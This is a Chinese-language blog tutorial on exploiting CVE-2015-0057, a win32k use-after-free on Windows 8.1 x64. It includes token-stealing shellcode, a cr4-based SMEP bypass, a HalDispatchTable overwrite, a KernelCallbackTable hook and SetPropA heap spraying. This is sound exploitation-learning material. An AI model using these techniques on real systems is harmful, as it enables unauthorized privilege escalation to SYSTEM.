作者: wjllz
博客鏈接: https://www.redog.me/2018/11/02/windows-kernel-exploit-part-2/
前言
Hello, 歡迎來到windows kernel exploit系列. 這是UAF系列的第二篇. 三篇的主要內容如下.
[+] 第一篇: HEVD給的樣例熟悉UAF
[+] 第二篇: CVE-2015-0057在win8 X64下的利用
[+] windows 10 x64下的UAF
首先要說很多感謝, NCC group真的做了很杰出的工作, 受益頗多. 然后是keenjoy95老師, 他在blackhat上提供的PDF給我思路的理解提供了很大的幫助. 還有拖了這么多天. sakura師父沒有把我打死. 還有就是小刀師傅這段時間不厭其煩的解惑.
然后是一點小小(大大)的抱歉.
[+] 這篇文章出來的比較晚. 其實第一篇文章寫完之后就開始寫第二篇了. 但是寫完一大半的時候發現用戶回調我還是不夠透徹. 就vim 1000dd之后重新分析了一個洞.
[+] 這篇文章可能比較長. 因為這個洞牽涉到的知識點比較多. 但是不用擔心. 涉及到的知識點大多數在其它漏洞中可以重復利用. 你只用學一次就夠了.
[+] exp的代碼還是寫的太爛了, 最后成功提了權. 由于漏洞折騰了我很久. 所以實在沒心情去重新組織代碼結構了.
其次是一點小小的說明.
[+] 我把這個系列叫做系列大概是因為我無法保證我所會的是最好的解決方案, 很多東西只能憑現有的知識體系去想. 實現的過程肯定是走彎路了. 所以無法具有教程的資格.
[+] 但是anyway, 我擅長犯錯. 希望把我的錯貼出來. 避免下一位內核選手重復犯錯(古巨基的很好聽的一首歌)
[+] 笨方法總比沒有辦法好. 所以不如試試
[+] 一起成長
然后是一點啼笑皆非的事. 我實習的時候想去xxx, 然后師傅和我說. 你要是把ddctf的兩道kernel pwn的題做出來, 我不認為你去不了. 所以ddctf的pwn題本來是我這個月末的目標來著. 結果在做堆頭修復的時候. 查資料才發現這就是第二題… emmmmm. 不過由于我參考了過多的資料, 所以其實不算做出來.
下面是文章主要涉及的知識點:
[+] 利用win32k回調實現漏洞利用
==> 漏洞類型: UAF ==> 轉化 ==> out of bounds ==> uaf ==> 利用(這個地方先不用太介意. 后面我會詳細解釋)
[+] windows8.1下泄露cookie修復堆頭
[+] windows8.1下繞過SMEP
[+] heap feng shui
[+] 64位下shellcode的編譯
[+] 在實現了write-what-where之后, 如何在內核調用shellcode
我自己浪費的時間比較久的是:
[+] heap fengshui花了我大量的時間
[+] cookie修復堆頭浪費了我大量的時間
[+] 尋找可利用的回調函數
所以我會把這三個部分我犯得錯誤貼出來. 希望能夠幫你避免你能夠重復犯錯.
代碼的實現我實現的NCC group的方法. 由于英文比較差, 出現了點理解誤差, 所以我的布局和NCC gruop的有一點點小的不同. keenjoy98老師的方法我覺得我應該大概理解了, 但是我可能想的麻煩了, 所以就不再贅述.
Let’s Go
0x01: 一個小故事
故事的開頭是這樣的. 有一天你想實現一下內核提權. 于是你寫了如下的shellcode.
shellCode proc
; shellcode編寫
mov rax, gs:[188h] ;Kprcb.Kpthread
mov rax, [rax+220h] ;process
mov rcx, rax ; keep copy value
mov rdx, 4 ; system PID
findSystemPid:
mov rax, [rax+2e8h] ; ActiveProcessLinks : _LIST_ENTRY
sub rax, 2e8h
cmp [rax+2e0h], rdx
jnz findSystemPid
; 替換Token
mov rdx, [rax+348h] ; get system token
mov [rcx+348h], rdx ; copy
ret
shellCode endp
這部分的shellcode你可以從第一篇當中的到解釋從而類推. 或者你可以在這里得到. 代碼也有詳細的注釋. 所以 這一部分. 我主要講一下如何編譯64的匯編. x64不支持_asm內聯匯編. 所以我目前知道的有三種選擇.
[+] 編寫出shellcode. 采用其它軟件(masm之類)生成可執行文件. 然后dump出字節碼. 存儲為char x[] = "\x90\x90"
[+] 利用c提供的函數實現匯編的功能
[+] 獨立寫.asm文件, 然后編譯
我個人更喜歡第三種. 因為好看. 我的環境是vs 2015. 設置編譯選項的動態圖如下.

需要注意的是這兩個命令. 原封不動的ctrl+c和ctrl+v即可
ml64 /c %(filename).asm
%(filename).obj;%(outputs)
好了. shellcode的編譯已經寫完了. 我們知道shellcode只能在內核當中執行. 如何在內核當中執行它呢. 在內核當中我們觀察到一個有趣的代碼段.

函數nt!NtQueryIntervalProfile+0x22調用了nt!KeQueryIntervalProfile, 接著我們觀察一下nt!KeQueryIntervalProfile, 發現如下代碼段.

我們發現這個地方調用了一個函數指針(一個指針用來存儲函數的地址), 我們存儲在nt!HalDispatchTable+0x8處 , 那么它指向哪一個函數呢呢. 運行下面的指令
dqs nt!HalDispatchTable

hal是一個函數指針數組. dqs列出其中的值. 我們看到函數hal!HaliQuerySystemInformation存儲在偏移0x8處. 如果. 我是說我們如果能有一個對任意地址寫的機會. 我們就有能力修改偏移0x8處的值. 何不試試把它改成shellcode的地址. 那么在KeQueryIntervalProfile中的代碼可以替換成call shellcode. 于是我們就可以執行shellcode. 記下我們接下來要實現的目標
[+] 需要有任意地址讀寫的機會
[+] 修改hal表的0x8為shellcode地址
那么我們去找一個漏洞吧, 才不要(逃), 作為一個win內核選手我們得記住我們是擁有windbg的男人. windbg具有的功能
[+] 可以采用eq eb ed等指令來修改數據(q b d代表修改的數據大小)
所以我們可以采用windbg來模擬任意地址讀寫. 整個過程的步驟如下.
[+] 找到haldispatchtable的地址
[+] 修改0x8處的地址為shellcode的地址
[+] 觸發我們的NtQueryIntervalProfile函數, 來進行內核提權.
最后我們采用在代碼最后加上system(“cmd”) 創建cmd, 用來觀察提權是否成功.main函數代碼如下.
#include <Windows.h>
#include <iostream>
#include "shellcode.h"
typedef NTSTATUS(__stdcall *NtQueryIntervalProfile_t)(UINT, PULONG);
NtQueryIntervalProfile_t NtQueryIntervalProfile;
BOOL runShellcode()
{
ULONG_PTR newcr4 = 0x406f8;
NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(GetModuleHandleA((LPCSTR) "ntdll.dll"), "NtQueryIntervalProfile");
if (!NtQueryIntervalProfile) {
std::cout << "failed" << std::endl;
exit(1);
}
__debugbreak(); // 這個地方讓程序斷下來 方便調試
NtQueryIntervalProfile(0x100300, (PULONG)&newcr4); // 傳的兩個參數先不用管, 后面解釋.
}
int main()
{
std::cout << "shellcode address: " << shellCode << std::endl; //為了避免編譯優化
runShellcode();
system("cmd");
}
需要注意的shi__debugbreak, 相當于int 3, 方便我們使用windbg, 這是我exp開發過程中用的最多的命令. 動態圖如下:

wait, 咋和說好的不一樣呢. 藍屏了.
萬惡之源來源于在微軟在win8下實現的一個緩解措施. SMEP. 解釋如下.
[+] 在SMEPbit位啟用的情況下, windows如果檢測到在內核層次執行用戶層的代碼. 會產生藍屏.
上面的邏輯我們用偽代碼表示如下.
if(在內核模式)
{
if(SMEP啟用)
{
if(ring0代碼運行在user space)
BSOD(); //藍屏
}
}
我們看到那個地方有一個條件判斷. 是否開啟SMEP. 所以繞過這個判斷. 讓我們加入這一個語句繞過SMEP.
r cr4=0x406f8 // 修改cr4寄存器值為0x406f8. 為什么要這樣修改下一節有解釋(關閉SMEP).
ok, 再次運行. 得到提權. 演示如下.

好了. 提權成功, 那我們這篇文章到這里就結束了(我就皮一下…).
好吧, 還沒有. 我們用的調試器. 那么我們得用代碼模擬調試器呀. 如何模擬調試器呢. 三個小目標.
[+] 使用代碼模擬調試器的r cr4=0x406f8的功能, 繞過SMEP
[+] 使用代碼模擬調試器修改haldispatchtable的功能, 使其能夠運行shellcode
[+] 用代碼來模擬調試器的任意地址讀寫的功能
我們先講前兩個.
smep繞過
我們前面的藍屏是一件很難受的事, 所以我們得繞過SMEP.
SMEP是微軟在win8先加的緩解措施. 其目的是kernel不可執行user space的代碼. 所以假設我們的shellcode放在0x410000處(user mode), 我們控制rip執行shellocde的時候, 就會產生kernel執行user space代碼的情況. 于是BSOD發生. 漏洞利用失敗.
wait. 某某不可執行, 于是我們想到了我們的老本行, DEP(數據段不可執行). 那么我們可不可以利用DEP的繞過方式: ROP. 答案是肯定的. 于是我們來看下面這一段代碼.
kd> u fffff802`005f97cc
nt!KiConfigureDynamicProcessor+0x40:
fffff802`005f97cc 0f22e0 mov cr4,rax
fffff802`005f97cf 4883c428 add rsp,28h
fffff802`005f97d3 c3 ret
等等, cr4是啥. cr4是決定SMEP是否啟用的關鍵寄存器. SMEP的啟用狀態將基于cr4寄存器來判斷. 先來看一張圖.

我們通過smep標志位(第20位, 從0計數)來判斷是否要啟用SMEP. 我們來查看一下我們的cr4寄存器的運行在我的環境下觸發漏洞前后的對比.
.formats 00000000001506f8 // enable
Binary: 00000000 00000000 00000000 00000000 00000000 0001 0101 00000110 11111000
.formats 0x406f8 // disable
Binary: 00000000 00000000 00000000 00000000 00000000 0000 0100 00000110 11111000
我們可以看到關鍵bit位的更改, 假設我們把haldispatchtable+0x8處改為nt!KiConfigureDynamicProcessor+0x40的時候, rax也剛剛好為0x406f8, 而剛好返回地址也為shellcode的地址, 那么簡直完美. 幸運的是, 假設我們把漏洞利用函數改為此.
ULONG_PTR newcr4 = 0x406f8;
NtQueryIntervalProfile(shellcodeaddress, (PULONG)&newcr4);
你可以在mov cr4, rax此處下斷點,
[+] 你會發現此時的rax剛好是我們`NtQueryIntervalProfile`函數的第二個參數.
[+] 你會發現ret的地址是我們shellcode地址的一半.
==> 比如shellcode為 3000 0000 0000 0000
==> ret指令時候[rsp] == 0000 0000(shellcode的后一半)
造成這種不幸的原因是什么呢, 我們查看exp代碼這個地方的匯編代碼, 長這樣:
NtQueryIntervalProfile(0x100300, (PULONG)&newcr4);
00007FF77DCB200A lea rdx,[newcr4]
00007FF77DCB200F mov ecx,100300h ==> 注意這里是ecx
00007FF77DCB2014 call qword ptr [NtQueryIntervalProfile (07FF77DCC3EB0h)]
問題出在傳入的寄存器是ecx(32 bit), 而不是rcx(64 bit) 這個地方返回地址我們可控的是32位, 而我們的exp是64位, 也就是shellcode地址是64位的. pwn2town上介紹了一種我完全看不懂的方法(由于這個原因, 我嘗試過其他的SMEP BYPASS). 所以在經過漫長的失眠之后, 我換了另外一個思路.
// [+] 0x100000 這個地址存放shellcode
// [+] ecx可以將這個值完整的傳入
void * p = (void*)0x100000;
p = VirtualAlloc(p, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memset(p, 0x41, 0x1000);
CopyMemory((VOID*)0x100300, shellCode, 0x200); //現在shellcode32位可表示地址了.
在我的源碼最后, 我加了這么幾句, 來恢復堆棧平衡和修復cr4寄存器(不能瞎改內核的東西, 借完之后借的還回去)
sub rsp,30h
mov rax, 0fffff8020074af75h
mov [rsp], rax //這一部分恢復堆棧
ret
如果你驚訝于30等值是如何檢測出來的, 你可以利用你的windbg, 動態調試來修復就可以了. 而0fffff8020074af75h是由于ROP的時候返回地址被破壞了, 我一開始采用虛擬機把它記作一個常量. 后來用獲取基地址的計數把它替換掉了, 具體的你可以查看我的源碼.
修改nt!haldisptachtable函數指針數組第二項.
由于windbg的存在, 我們可以假設我們已經擁有了write-what-where的功能. So, 如果是要完成將第二項改為shellcode的地址. 那我們第一件要做的事, 勢必是去找到他. 調試器中我們很機智的用dqs就找到了, 但是在代碼當中如何來實現呢. 源代碼當中我是這樣實現的
ULONG_PTR getHalDispatchtableAddress()
{
GetKernelImageBase(); // 獲取kernel base address
HMODULE hNtosMod = LoadLibrary("ntoskrnl.exe");
ULONG lNtHalDispatchTableOffset = (ULONG)GetProcAddress(hNtosMod, "HalDispatchTable") - (ULONG)hNtosMod;
nt_HalDispatchTable = (ULONG_PTR)pKernelBase + lNtHalDispatchTableOffset + 8;
return nt_HalDispatchTable; // 返回第二項的地址.
}
首先, 我們假設我們經過GetKernelImageBase函數獲取到了”ntoskrnl.exe”加載在內存當中的基地址, 并把它賦值給了pKernelBase變量(后面我們會讓這個假設成為真實). 上面的代碼獲取nt!haldispatchTable在內核當中的地址的思路是:
[+] 先LoadLibrary裝載ntoskrnl.exe到user space. 獲取其基地址(hNtosMod)
[+] 獲取HalDispatchTable在user space的地址(GetProcAddress)
[+] 獲取ntosknrl.exe在內核當中的地址(pKernelBase)
[+] 用內核基地址加上偏移算出nt!haldispatchtable在內核當中的地址
好了, 讓我們來獲取pKernelBase.
獲取pKernelBase
windows加了地址隨機化(KASLR). 所以每次開機重新加載的時候. ntoskrnl.exe在內核當中的基地址都不一樣. 這一部分, 其實我的個人建議是, 直接保存一個虛擬機鏡像, 這樣KASLR就已經被繞過了. 直接拷出每個函數在這個鏡像當中的地址, 然后直接使用, 把后面的做完了再來繞過KASLR. 算是一點我個人調試的小trick, anyway, 讓我們來看一下如何找到內核當中的ntoskrnl的鏡像.
VOID GetKernelImageBase()
{
[...]
PSYSTEM_MODULE_INFORMATION Modules = {};
Modules= (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation, Modules, len, &len);// 需要注意的是SystemModuleInformation的這個常量. 這個參數的功能決定NtQuerySystemInformation的功能.
// 循環遍歷 獲取kernel imagebase address
for (int i = 0; i<Modules->Count; i++)
if (strstr(Modules->Module[i].ImageName, "ntoskrnl.exe") != 0)
pKernelBase = Modules->Module[i].Base;
}
我的學習是在r00k1ts大大的這篇文章找到了答案, 獲取基地址的思路如下.
[+] 指定一個SystemModuleInformation類,
[+] 調用windows提供的未文檔化的NtQuerySystemInformation函數
[+] 獲取到一個加載的模塊列表以及他們各自的基地址(包括NT內核)
[+] 循環遍歷每一個module, 比較其模塊名字是否含"ntoskrnl.exe". 如果是, 說明基地址找到.
漏洞利用.
哇, 走到這里, 萬事OK, 現在我們所欠缺的, 只是如何構造一個write_what_where而已. 由于NCC Group的老師已經做了很多的工作. 所以逆向這一部分我其實沒有做多少, 主要的工作是因為自己的poc觸發不了, 然后做了一點點修改. 主要利用的技巧如下:
[+] 借用NCC Group的論文進行理解
[+] 動態調試到關鍵的數據點, 判斷是否正確
分析
在某個陽光明媚的下午, 我把這份代碼重新分析了一遍. 構造POC的過程我們分為以下三步:
[+] 定位漏洞點
[+] 使用xref確定POC觸發的函數
[+] 動態調試及靜態分析, 使程序流抵達漏洞點
定位漏洞點
定位漏洞點這一部分的工作應該是由補丁比較來做的. 由于這是初學的過程, 所以我們直接使用NCC Group的結論.
讓我們來看看我們的漏洞的代碼.
// 部分代碼省略掉
// win32k!xxxEnableWndSBArrows()
__int64 __fastcall xxxEnableWndSBArrows(struct tagWND *pwnd, int wsbFlags, int wArrows)
{
[...]
psbInfo = (int *)*((_QWORD *)pwnd + 22);
iwArrows = wArrows;
iWsbFlag = wsbFlags;
pwndWndCopy = pwnd;
[...]
if ( !iWsbFlag || iWsbFlag == 3 ) // 判斷其是否為SB_HORZ或者SB_BOTH類型
{
[...]
if ( *((_BYTE *)pwndWndCopy + 40) & 4 )
{
if ( !(*((_BYTE *)pwndWndCopy + 55) & 0x20) && IsVisible(pwndWndCopy) )
xxxDrawScrollBar(v13, v10, 0); // 線段起始地點1
// 這個地方通過回調使程序流回到用戶模式
}
[...]
}
if ( !((iWsbFlag - 1) & 0xFFFFFFFD) )
{
*psbInfo = iwArrows ? 4 * iwArrows | *psbInfo : *psbInfo & 0xFFFFFFF3; // 線段結束地址二
// 這里假設psbInfo的結構大小為2
// 運算之后變成0xe
}
[...]
}
這里需要記住(記住的意思是先不用理解, 可以慢慢看下去理解)的信息有:
[+] 漏洞的函數位于win32k, 即win32k!xxxEnableWndSBArrows
[+] xxxDrawScrollBar當中存在一次用戶回調, 可以回到user mode
[+] 我們需要利用的是線段結束地址二的操作來完成任意讀寫
用戶層觸發
用戶層觸發我們得借用我們可愛的IDA的Xref功能.

我選用的是NtUserEnableScrollBar來進行觸發(這個分析是之后做的, 我exp的實現是早期的工作. 所以和原來有一些不同. 不過思路是一樣的.). 調用NtUserEnableScrollBar函數使用的system call table表.

在一點簡單的改造之后, 我們很輕松的觸發了這個函數.

抵達漏洞點
NtUserEnableScrollBar
在NtUserEnableScrollBar函數當中我們需要抵達xxxEnableScrollBar函數我們才能到達漏洞點. 相關的檢測如下:

@1處
@1處我們的ValidateHwnd函數主要是為了檢測傳入的窗口句柄(HWND)是否為正確的句柄類. 所以只要CreateWindow返回的句柄即可. 需要注意的是, 該函數返回該HWND在內核當中對應的tagWND結構體的指針.
@2處
@2處需要結合下面的圖片來看.

有關fnid的細節你可以參考這篇文章, 在做完cve-2018-8453之后我會重新介紹它.
[+] fnid與 NtUserMessageCall 函數關聯, 通過該函數可以調用`system calss procedure`.
[+] fnid也可用于衡量一個system class procedure函數是否被成功初始化.
@3處
@3同上
很好, 逆向這一部分的工作, 你可以查看我上傳的IDB文件觀察細節, ncc gourp里面也給了詳細的解釋. 這里我先給出另外一個函數.
[+] EnableScrollBar(hwndVulA, SB_CTL | SB_BOTH, ESB_DISABLE_BOTH); // 此函數用于觸發漏洞函數.
微軟給出這個函數的解釋如下:
[+] EnableScrollBar函數用于啟用或者僅用滾動條的光標
三個參數與漏洞函數的三個參數關系如下.
[+] hwndVulA ==> pwnd對應的漏洞窗口句柄.
==> 微軟解釋: Handle to a window or a scroll bar control, depending on the value of the wSBflags parameter
[+] SB_CTL | SB_BOTH ==> wsbFlags
==> SB_CTL : 定義此滾動條是一個滾動控件 2
==> SB_BOTH: 啟用光標和禁用光標的行為針對垂直滾動條和橫向滾動條 3
[+] ESB_DISABLE_BOTH ==> wArrows
==> 把兩個滾動條都禁用.
So, 前面講了這么多和我們的漏洞有什么關系呢, 針對一個滾動條控件窗口, 首先由一個tagWND窗口來裝載(第一個參數pwndWnd), 期間有一個psbInfo結構體. 如下:
kd> dt win32k!tagWND -b pSBInfo
+0x0b0 pSBInfo : Ptr64 tagSBINFO
psbInfo存儲滾動條的相關信息, 定義如下:
kd> dt win32k!tagSBINFO -r
+0x000 WSBflags : Int4B
+0x004 Horz : tagSBDATA
+0x000 posMin : Int4B
+0x004 posMax : Int4B
+0x008 page : Int4B
+0x00c pos : Int4B
+0x014 Vert : tagSBDATA
+0x000 posMin : Int4B
+0x004 posMax : Int4B
+0x008 page : Int4B
+0x00c pos : Int4B
接著, 你可以利用這幾個結構體去查看上面的代碼, 這里我直接給出結論.
[+] 在xxxDrawScrollBar里面會觸發某個函數回調, 用戶可以控制這個函數回調. 定義這個函數回調為fakeCallBack
[+] 在fakeCallBack里面, 我們使用DestoryWindow(hwndVulA), 使psbInfo內存塊為free態
[+] 使用堆噴技術可以篡改psbInfo的值
[+] 在程序線段二處, 進行了一次異或運算. 假設(請調試驗證):
WSBflags 被我們篡改為2
WArraow = 3
==> *psbInfo = iwArrows ? 4 * iwArrows | *psbInfo : *psbInfo & 0xFFFFFFF3;
==> WSBflags = 3 ? 4 * 3 | 2 : ...
= 0xe
[+] 我們最后的目的利用的就是這個0xe, 怎么利用后面解釋.
我們看一下過程.

我們得經過上面的這個程序才能實現完整的漏洞觸發. 你可以進行逆向看下必須滿足什么條件. 這里我給出結論.
[+] 首先scrollbar的窗口是可見的, 設置WM_VISIBLE(這個地方我卡了很久才得出...)
[+] scrollbar的窗口是子窗口. 即WS_CHILD
于是, 相關的源代碼當中, 體現這兩個細節的是.
[+] CreateWinwodw(,....WS_VISIBLE,....) // 父窗口的創建.
[+] hwndVulA = CreateWindowExA(0, "SCROLLBAR", NULL, WS_CHILD | SBS_HORZ | WS_HSCROLL | WS_VSCROLL, 10, 10, 100, 100, hwndPa, HMENU(NULL), NULL, NULL);
// 讓其可見.
ShowWindow(hwndVulA, SW_SHOW);
UpdateWindow(hwndVulA);
So, 我們來實現控制回調函數.
回調的使用.
回調在我看來, 是內核漏洞發生的本源. 因為如果從kernel mode回到user mode, 再從user mode回到內核層次, 在用戶層次的時候我們擁有著極大的自由. 這樣的我們能夠做太多事了.
SO: 如何利用回調.
利用回調.
我們假設, 在xxxDrawScrollBar里面會觸發某個函數回調, 代碼會去執行回調函數A, 如果我們能夠HOOK回調函數A. 使其指向我們自己寫的回調函數, 我們就能在此期間做一些壞壞的事. 關鍵的問題是, 這個回調函數A是誰呢?
確定回調函數A.
現在的我看來, 這是一個很簡單的問題, 但是當時的我, 花了足夠多的時間去解決和思考這個問題.
一開始的時候, 我選用的方法是: 靜態閱讀xxxDrawScrollBar的代碼, 看下他當中有哪些回調函數, 確定哪些函數會被調用. 于是我祭出了我的IDA, 就一步一步的點啊之類的. 在經歷了漫長的調試分析之后, 我失敗了. 因為到后面的時候我的思緒亂了.
于是夜里三點, 躺在寢室的床上, 我開始思考人生, 真的要這樣下去么, 一輩子就看著代碼點點點度日子… 突然靈光一閃爍, 我意識到這樣下去破日子不能這樣子過下去. 于是我開始思考我掌握的和回調相關的知識. 定位到了關鍵性的幾個信息.
Hook回調函數
首先看一條命令.
kd> dt nt!_PEB @$peb
[...]
+0x058 KernelCallbackTable : 0x00007ff9`2107eb00 Void
[...]
此處指向回調函數指針數組, 類似于這樣:
[+] KernelCallbackTable = {0x3333333, 0x444444, 0x5555555};
接著查看回調函數必然經過這里:
kd> u nt!KeUserModeCallback
nt!KeUserModeCallback:
fffff802`00675e10 4c894c2420 mov qword ptr [rsp+20h],r9 ==> 稍后請在這里下斷點
fffff802`00675e15 4489442418 mov dword ptr [rsp+18h],r8d
fffff802`00675e1a 4889542410 mov qword ptr [rsp+10h],rdx
fffff802`00675e1f 894c2408 mov dword ptr [rsp+8],ecx
fffff802`00675e23 53 push rbx
fffff802`00675e24 56 push rsi
fffff802`00675e25 57 push rdi
fffff802`00675e26 4154 push r12
該函數的原型如下:
NTSTATUS KeUserModeCallback (
IN ULONG ApiNumber, ==> rcx指向
IN PVOID InputBuffer, ==> 傳入的參數
IN ULONG InputLength,
OUT PVOID *OutputBuffer,
IN PULONG OutputLength
);
其中, APINumber勾起了我的興趣
[+] 這里的 ApiNumber 是表示函數指針表(USER32!apfnDispatch)項的索引,在指定的進程中初始化 USER32.dll 期間該表的地址被拷貝到進程環境變量塊(PEB.KernelCallbackTable)中。
期間, 我在一個win32k的paper上看到如上定義, 也就是說, 我只要能夠確定rcx的值, 就能夠確定我要hook的回調函數是誰.
首先, 在這兩個地方下斷點.
kd> u fffff960`0025870e
win32k!xxxEnableWndSBArrows+0x959e2:
fffff960`0025870e e8bda7f6ff call win32k!xxxDrawScrollBar (fffff960`001c2ed0) ==> 這里下
fffff960`00258713 90 nop ==> 這里下
此指令用于查看寄存器的值
r rcx
在地點A和地點B之間會經過nt!KeUserModeCallback處, 我們查看rcx, 即可確定會調用哪些回調函數. 就是這么簡單.
最后我選取了NCC group推薦的回調函數, 在確定了需要HOOK函數之后, 代碼如下.
getHookSaveFunctionAddr proc
mov rax, gs:[60h] ; 指向PEB
mov rax, [rax+ 58h] ; 指向KernelCallbackTable
add rax, 238h ; API number * 8
ret
getHookSaveFunctionAddr endp
OK, 由此我們get到了需要HOOK的函數地址, 所以后面我們只要進行簡單的相應的賦值語句就好了.
[...]
ptrHookedAddr = getHookSaveFunctionAddr();
[...]
*(ULONG_PTR *)ptrHookedAddr = (ULONG_PTR)fakedHookFunc;
[...]
Hook完畢, 讓我們進行下一步. 在我們自己定義的fakeHookFunc之中, 我們能干些啥.
fakedHookFunc(自定義回調函數實現UAF)
這一步, 我決定先給出相關的代碼實現:
VOID fakedHookFunc(VOID *)
{
CHAR Buf[0x1000];
memset(Buf, 0, sizeof(Buf));
if (hookedFlag == TRUE)
{
if (hookCount == 1)
{
hookedFlag = FALSE;
//PTHRDESKHEAD tagWND = (PTHRDESKHEAD)pHmValidateHandle(hwndVulA, 1); //獲取psbInfo對應的內核地址, 調試使用
//__breakcode() //調試使用.
DestroyWindow(hwndVulA); // 釋放psbInfo
for(int i = 0; i < hwndCount; i++) // 堆噴, 填充psbInfo
if (sprayWnd_5[i] != NULL)
{
SetPropA(sprayWnd_5[i], (LPCSTR)(0x7), (HANDLE)0xBBBBAAAABBBBAAAA);
SetPropA(sprayWnd_5[i], (LPCSTR)(0x8), (HANDLE)0xBBBBAAAABBBBAAAA);
}
}
hookCount++;
}
_theRalHooedFunc(Buf);
}
首先想說的Hookflag和hookCount, 我們在hook了函數之后, 這個回調函數很有可能被系統的其他部分使用. 但是我們想控制的只是由xxxDrawScrollBar觸發的時候, 所以我們得確定一下哪一次才是由xxxDrawScrollBar觸發的. 我設置這兩個變量就是為了做這件事.
hookedFlag = TRUE; // 看這
EnableScrollBar(hwndVulA, SB_CTL | SB_BOTH, ESB_DISABLE_BOTH);
這一部分我們保證了我們從進入觸發流程之后再計數, 之后我們在調用xxxDrawScrollBar下斷點, 看一下從xxxDrawScrollBar之后進去HOOK是第幾次. 是不是有點小小的繞, 讓我們來看一下動態的過程.
之后是兩處注釋, phmValidateHandle函數用于獲取hwndVulA的內核地址, 是為了方便我自己調試用的. 至于如何獲取的, 你可以查看這里. 接著.
偏移為b0的地方為其psbInfo. 于是我用了下面的語句來查看信息.
dq poi(rax+b0)
如果rax+b0 地址為 0400: 100, 那么這條命令會打印出100處的內容. 在我整個exp開發的過程中, 我頻繁的使用這條語句來進行堆風水布局的驗證.
接著是DestoryWindow, 這個函數會銷毀窗口的相關內容, 但是其句柄因為不會被銷毀, 因為其引用計數不能為0. 但是已經夠了, 這樣之后, 我們的psbinfo處于free狀態, 且指針不為0. 于是我們可以通過堆噴射(堆噴射請參考上一篇)來重新填充內容.
如何來通過堆噴來偽造填充我們的psbInfo呢, 先看一下正常狀況下的pbInfo. 我dump下來的數據如下:
kd> dq fffff901`40ac5570-10
fffff901`40ac5560 00000000`00000000 0c0055ff`699dfbd6 --> _HEAP_ENTRY
fffff901`40ac5570 00000000`00000003 00000000`00000064 --> 這個地方存放psbInfo的結構
fffff901`40ac5580 00000000`00000000 00000000`00000064
fffff901`40ac5590 00000000`00000000
接著我調用了下面一個for循環, 實現了堆噴. 覆蓋數據如下所示:
for(int i = 0; i < hwndCount; i++)
if (sprayWnd_5[i] != NULL)
{
SetPropA(sprayWnd_5[i], (LPCSTR)(0x7), (HANDLE)0xBBBBAAAABBBBAAAA);
SetPropA(sprayWnd_5[i], (LPCSTR)(0x8), (HANDLE)0xBBBBAAAABBBBAAAA);
}
// 數據:
kd> dq fffff901`40ac5570-10
fffff901`40ac5560 00000000`00000000 080055ff`699dfbd6
fffff901`40ac5570 00000002`00000002 bbbbaaaa`bbbbaaaa --> 這個地方的2最后會變為0xe. 先不管
fffff901`40ac5580 00000000`00000007 bbbbaaaa`bbbbaaaa
fffff901`40ac5590 00000000`00000008
上面那一小節我們證明了我們的看到了我們的win32k!tagSBINFO大小為0x30(加上對齊和_HEAP_ENTRY, 先別在意這兩個.), 接著我們來查看一個結構體:
kd> dt win32k!tagPROPLIST -r
+0x000 cEntries : Uint4B
+0x004 iFirstFree : Uint4B
+0x008 aprop : [1] tagPROP
+0x000 hData : Ptr64 Void
+0x008 atomKey : Uint2B
+0x00a fs : Uint2B
調用SetPropA第一次的時候, 首先會在分配一個堆, 存儲一個tagPropLIST結構體. 第二次調用setPropA的時候, 會繼續分配一個tagPROP結構體(0x10). 也就剛剛是0x28, 再加上其的_HEAP_ENTRY. 剛剛好合適.
接著, 由于剛好是2個, 根據前面的結論. 這個數值會在后面的異或過程中變為0xe. 我們如何來利用0xe呢. 恐怕我們就得說一下tagPropList了.
tagPropListA結構體.
首先來查看SetPropA函數:
BOOL SetPropA(
HWND hWnd,
LPCSTR lpString,
HANDLE hData
);
這個函數對于此次漏洞利用的信息有:
[+] 初次調用的時候會生成一個tagProp結構體
[+] 其后的調用的時候, 如果lpString在以前沒有聲明過. 那么會添加一個tagPROP結構體(0x10), 所以你才能看到我前面定義的0x7, 和0x8.
這一部分過了之后, 那么我們如何使用這個特性呢. 我們得對前面的結構體加一點點注釋.
kd> dt win32k!tagPROPLIST -r
+0x000 cEntries : Uint4B ==> 表面一共有多少個tagPROP ==> 用這個越界讀寫.
+0x004 iFirstFree : Uint4B ==> 表明當前正在添加第幾個tagPROP結構體
+0x008 aprop : [1] tagPROP ==> 一個單項的tagProp
+0x000 hData : Ptr64 Void ==> 對應hData
+0x008 atomKey : Uint2B ==> 對應lpString
+0x00a fs : Uint2B ==> 無法控制, 和內核實現的算法無關.
在漏洞函數執行回win32k!xxxEnableWndSBArrows()函數之后, 通過前面的討論, 內核結構遭到篡改. 內核會誤以為一共有0xe個tagProp, 所以我們可以在后面繼續調用setProp覆蓋后面的數據. 也就是有了一個越界讀寫的能力. ==> 能寫0xe個tagProp
聽起來不錯, 我們有了破壞內核結構的能力. wait, 如果你仔細的查看tagProp和setPropA的對應關系. 你會發現寫原語殘缺. 截圖如下(圖片來源keenjoy95老師).

藍色高亮的部分就是我們可以控制的內容. 紅色高亮部分是無法控制的. 我們在win32k!的利用當中, 常見的思路是去破壞tagWND結構體的某一個值. 然后實現任意地址讀寫. 但是, 假設我們后面接的是一個tagWND結構體, 那么我們進行寫操作的時候我們必定會對其中的某些重要值照成破壞. 照成利用失敗.
于是NCC gruop安排了一個新的布局(這一部分的布局我自己改了一下). 如下.
kd> dq fffff901`40ac5570-10 l30
fffff901`40ac5570 00000002`00000002 bbbbaaaa`bbbbaaaa ==> 這個地方存儲一個tagPROPLIST
fffff901`40ac5580 00000000`00000007 bbbbaaaa`bbbbaaaa
fffff901`40ac5590 00000000`00000008 100055e4`699dfbd6 ==> 這個地方存儲一個windows text 注意依據前面邏輯, 后面的100055e4`699dfbd6可以控制
fffff901`40ac55a0 43434343`43434343 43434343`43434343
fffff901`40ac55b0 43434343`43434343 43434343`43434343
fffff901`40ac55c0 00000000`00000000 100055e4`729dfbcd ==> 這個地方存儲一個tagWND結構體
fffff901`40ac55d0 00000000`00021476 00000000`00000003
fffff901`40ac55e0 fffff901`407fcb70 ffffe000`02d1e1a0
fffff901`40ac55f0 fffff901`40ac55d0 80000700`60080018
fffff901`40ac5600 04c00000`00000100 00000000`00000000
fffff901`40ac5610 00000000`00000000 fffff901`40835890
fffff901`40ac5620 fffff901`40ac5750 fffff901`40800830
